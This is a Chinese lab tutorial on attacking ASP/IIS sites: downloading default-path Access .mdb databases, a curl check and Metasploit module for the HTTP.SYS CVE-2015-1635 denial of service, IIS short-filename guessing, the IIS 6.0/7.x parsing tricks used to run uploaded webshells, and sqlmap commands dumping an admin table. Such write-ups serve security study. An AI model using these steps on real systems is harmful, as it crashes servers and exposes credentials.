WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

image-20250929221235933

知识点

1、ASP-SQL注入-Access数据库

2、ASP-默认安装-数据库泄漏下载

3、ASP-IIS-CVE&短文件&解析&写入

演示案例

ASP-默认安装-MDB数据库泄漏

下面是ASP+Access数据库泄露漏洞介绍

由于大部分ASP程序与ACCESS数据库搭建,但ACCESS无需连接,在脚本文件中定义配置好数据库路径即用,不需要额外配置安装数据库,所以大部分提前固定好的数据库路径如默认未修改,当攻击者知道数据库的完整路径,可远程下载后解密数据实现攻击。

.mdb文件就是Access数据库的文件,本质上是表格,可以用office中的Access软件打开

一个ASP+Access数据库程序,其配置文件conn.asp中的数据库配置语句示例如下:

1
2
3
4
5
<%
Set conn=server.Createobject("adodb.connection")
connstr="provider=microsoft.jet.oledb.4.0;data source="&server.mappath("./database/#data.mdb") //配置Access数据库路径
conn.open connstr
%>

我们可以通过互联网找到搭建平台源码,从源码中可以看到上述数据库配置路径

如果平台以默认配置进行搭建,那么访问者可以构造URL即可下载该.mdb文件如

192.168.126.131:81/database/%23data.mdb (%23是#的URL编码)

该文件中就有敏感文件如账号密码,这是由ASP+Access这种语言架构的特性决定的

ASP-中间件-CVE&短文件&解析&写权限

下面是一些ASP中间件相关的安全漏洞及其复现

HTTP.SYS(CVE-2015-1635)

该漏洞无法拿到权限,但能够使得目标主机蓝屏,达到破坏效果,影响其业务

漏洞描述

漏洞描述:远程执行代码漏洞,存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

影响版本

影响版本:Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2

漏洞利用条件

漏洞利用条件:安装了IIS6.0以上的Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2版本

漏洞复现

验证漏洞是否存在

执行curl -v http://192.168.20.130 -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

返回状态码为416且出现The requested range is not satisfiable.则表示该漏洞存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali)-[~]
└─$ curl -v http://192.168.20.130 -H "Host: 192.168.20.130" -H "Range: bytes=0-18446744073709551615"
* Trying 192.168.20.130:80...
* Connected to 192.168.20.130 (192.168.20.130) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.20.130
> User-Agent: curl/7.88.1
> Accept: */*
> Range: bytes=0-18446744073709551615
>
< HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: text/html
< Last-Modified: Thu, 18 May 2023 14:48:28 GMT
< Accept-Ranges: bytes
< ETag: "7049b7ce9789d91:0"
< Server: Microsoft-IIS/7.5
< X-Powered-By: ASP.NET
< Date: Mon, 29 Sep 2025 14:58:53 GMT
< Content-Length: 362
< Content-Range: bytes */689
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Requested Range Not Satisfiable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Requested Range Not Satisfiable</h2>
<hr><p>HTTP Error 416. The requested range is not satisfiable.</p> //出现此句说明漏洞存在
</BODY></HTML>
* Connection #0 to host 192.168.20.130 left intact

进入msfconsole,使用auxiliary/dos/http/ms15_034_ulonglongadd,按如下配置目标主机IP地址和端口之后run即可复现

1
2
3
4
5
msfconsole
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts 192.168.126.135 //配置目标地址
set rport 80 //配置目标端口
run

执行结果如下图所示,目标主机会蓝屏重启,复现完成

image-20250929230533544

IIS短文件名猜解漏洞

漏洞简介

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

短文件名特征

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。在Windows下查看对应的短文件名,可以使用命令dir /x,短文件名具有如下特征

image-20260122224558088

1、只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)

2、后缀名最长只有3位,多余的被截断,超过3位的长文件会生成短文件名

3、所有小写字母都会转换成大写字母

4、长文件名中含有多个.,以文件名最后一个.作为短文件名后缀

5、长文件名前缀/文件夹名字符长度符合0-9和Aa-Zz范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。

漏洞成因

攻击者可以由此猜解文件/文件夹的全名,具体来说:攻击者使用通配符*和?发生一个请求到IIS,当IIS接收到一个文件路径中包含~请求时,它的反应是不同的,即返回的HTTP状态码和错误信息不同。基于这个特点,可以根据HTTP的响应区分一个可用或者不可用的文件。访问构造的某个存在的短文件名,会返回404;访问构造的某个不存在的短文件名,会返回400(报错页面)

应用场景

后台路径获取,数据库文件获取,其他敏感文件获取等

利用工具
漏洞复现(手工测试)

因为我开着IIS的虚拟机的IP是192.168.119.133,所以我直接访问这个URL:http://192.168.119.133/a*~1*/.aspx

img

/a*~1*/的意思就是,用首字母a这个字符去匹配,也就是首字母a是否存在这个短文件名。~1这个和上面的短文件名特征是一样的,代表了它是一个短文件名。

  • 如果说这个页面返回的状态码是404的话,那么这个短文件名是存在的!
  • 如果返回的是400,则说明这个短文件名是不存在的!

从上图可以得出,返回的页面状态码是404,说明网站更目录下有一个文件是以a开头的短文件名。

img

aspnet_client这个文件夹是iis自带的文件夹目录,所以会显示存在!

这个时候我们测试一个不存在的文件或者文件名:

访问URL:http://192.168.119.133/c*~1*/.aspx

img

返回的状态码是400,说明不存在以c开头的短文件名。

IIS文件解析-IIS 6.0文件解析漏洞

IIS 6.0和7.0都存在文件解析漏洞,主要6.x尤其是低版本较多,7.x已经打了补丁,不常见了

这是一个非常著名且具有代表性的Web服务器漏洞,在当年影响深远,即使现在,一些遗留的老系统中仍可能遇到。

漏洞概述

IIS 6.0 是微软随 Windows Server 2003 推出的互联网信息服务组件。其文件解析机制中存在一个严重的安全缺陷,攻击者可以利用该漏洞,将原本应该是静态文件的请求(如图片、文本)交给动态脚本处理程序(如ASP)来执行,从而绕过文件上传限制,获取Webshell,最终控制服务器。

这个漏洞的核心在于 IIS 6.0 对文件名解析的异常处理。

漏洞原理与细节

IIS 6.0 主要存在两种利用方式的解析漏洞:

分号截断解析漏洞 (;)

该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析,如logo.asp;.jpg

  • 原理:IIS 6.0 在解析文件名时,会将分号 ;后面的内容截断,忽略不计。它会认为分号前的部分才是文件的真实扩展名。
  • 利用方式:假设网站有一个文件上传功能,只允许上传 .jpg格式的图片。攻击者可以上传一个包含ASP恶意代码的文件,并将其命名为 shell.asp;.jpg。
  • 解析过程:上传后,文件在服务器上的完整名称是 shell.asp;.jpg。当攻击者通过浏览器访问这个文件时,URL 为 http://www.example.com/upload/shell.asp;.jpg。IIS 6.0 接收到请求后,看到路径中有 .asp,于是将其交给 asp.dll这个处理程序来解析执行。在交给 asp.dll之前,IIS 6.0 会进行“截断”操作,它认为 ;之后的内容是无效的,所以实际处理的文件名被识别为 shell.asp。asp.dll成功地执行了 shell.asp;.jpg文件中的ASP代码,尽管它的后缀是 .jpg。

简单来说,IIS 6.0 错误地将 shell.asp;.jpg识别并解析为了一个ASP脚本文件。

目录路径解析漏洞

该版本默认会将*.asp/目录下的所有文件当成Asp解析,如:xx.asp/logo.jpg

  • 原理:IIS 6.0 会将任何以特定目录名结尾的文件夹下的所有文件,都视为该目录对应的脚本文件来处理。
  • 利用方式:常见的目录名包括 *.asp、*.asa、*.cer、*.cdx。攻击者可以上传一个名为 shell.jpg的恶意脚本文件到名为 upload.asp的目录中。
  • 解析过程:文件路径为 /upload.asp/shell.jpg。当攻击者访问 http://www.example.com/upload.asp/shell.jpg。IIS 6.0 看到路径中包含 .asp目录,它会认为 shell.jpg这个文件应该被当作ASP脚本来处理。于是,IIS 将 shell.jpg交给 asp.dll执行,其中的恶意代码被运行。

简单来说,IIS 6.0 错误地将 某个asp目录下的所有文件都识别为ASP脚本。

为什么会有 .cer和 .cdx?

这是因为在IIS的应用程序映射中,不仅 .asp扩展名映射给了 asp.dll,.asa、.cer、.cdx也默认被映射了。因此,/upload.cer/shell.jpg同样会被解析执行。

IIS文件解析-IIS 7.x 文件解析漏洞

在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件,但IIS 7.x有补丁,一般很难碰到

漏洞原理

IIS 7.x在Fast-CGI运行模式下,存在一个文件解析机制缺陷:在任意文件路径后添加/.php,服务器会将该文件解析为PHP文件。例如:

  • http://example.com/test.jpg/.php 会被IIS解析为PHP文件
  • 即使test.jpg文件内容是图片,也会被当作PHP脚本执行

这与IIS 6.x的解析漏洞(通过.asp;.jpg格式)有本质区别,是IIS 7.x特有的漏洞。

漏洞利用条件
  1. PHP配置:php.ini中cgi.fix_pathinfo=1(默认值为1,通常无需特别设置)
  2. IIS运行模式:IIS 7.x运行在Fast-CGI模式下
  3. 请求限制:IIS的处理程序映射中请求限制未被禁用(在phpStudy等环境中需特别注意)
利用方式

1. 基本利用步骤

  1. 在网站根目录创建一个图片文件(如shell.jpg)
  2. 向该图片文件中写入PHP代码(如<?php phpinfo(); ?>)
  3. 通过URL访问:http://example.com/shell.jpg/.php
  4. 服务器会将图片解析为PHP脚本并执行

2. 利用演示

  • 正常访问:http://example.com/shell.jpg → 显示图片
  • 漏洞利用:http://example.com/shell.jpg/.php → 执行PHP代码(显示phpinfo信息)
应用场景

配合文件上传获取Webshell

==1:00:17== 20260122

IIS写权限漏洞

IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许

参考利用:https://cloud.tencent.com/developer/article/2050105

ASP-SQL注入-SQLMAP使用&ACCESS注入

ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),数据,所以在注入猜解中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入,后续再说其他。

python sqlmap.py -u “” –tables //获取表名

python sqlmap.py -u “” –cloumns -T admin //获取admin表名下的列名

python sqlmap.py -u “” –dump -C “” -T admin //获取表名下的列名数据

站内搜索

没有找到内容!